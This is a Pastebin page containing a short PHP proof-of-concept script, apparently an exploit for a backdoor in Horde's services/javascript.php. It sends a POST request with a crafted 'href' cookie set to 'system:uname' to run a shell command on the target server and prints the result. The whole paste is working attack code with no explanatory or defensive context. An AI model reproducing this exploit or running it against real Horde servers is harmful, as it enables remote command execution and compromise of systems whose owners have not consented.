Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- require_once 'HTTP/Request2.php';
- $request = new HTTP_Request2('http://devnull.zataz.loc/horde/services/javascript.php', HTTP_Request2::METHOD_GET);
- $request->addCookie('href', "system:uname");
- $request->setMethod(HTTP_Request2::METHOD_POST)
- ->addPostParameter('app','horde')
- ->addPostParameter('file','open_calendar.js');
- try {
- $response = $request->send();
- if (200 == $response->getStatus()) {
- echo $response->getBody();
- } else {
- echo 'Unexpected HTTP status: ' . $response->getStatus() . ' ' .
- $response->getReasonPhrase();
- }
- } catch (HTTP_Request2_Exception $e) {
- echo 'Error: ' . $e->getMessage();
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement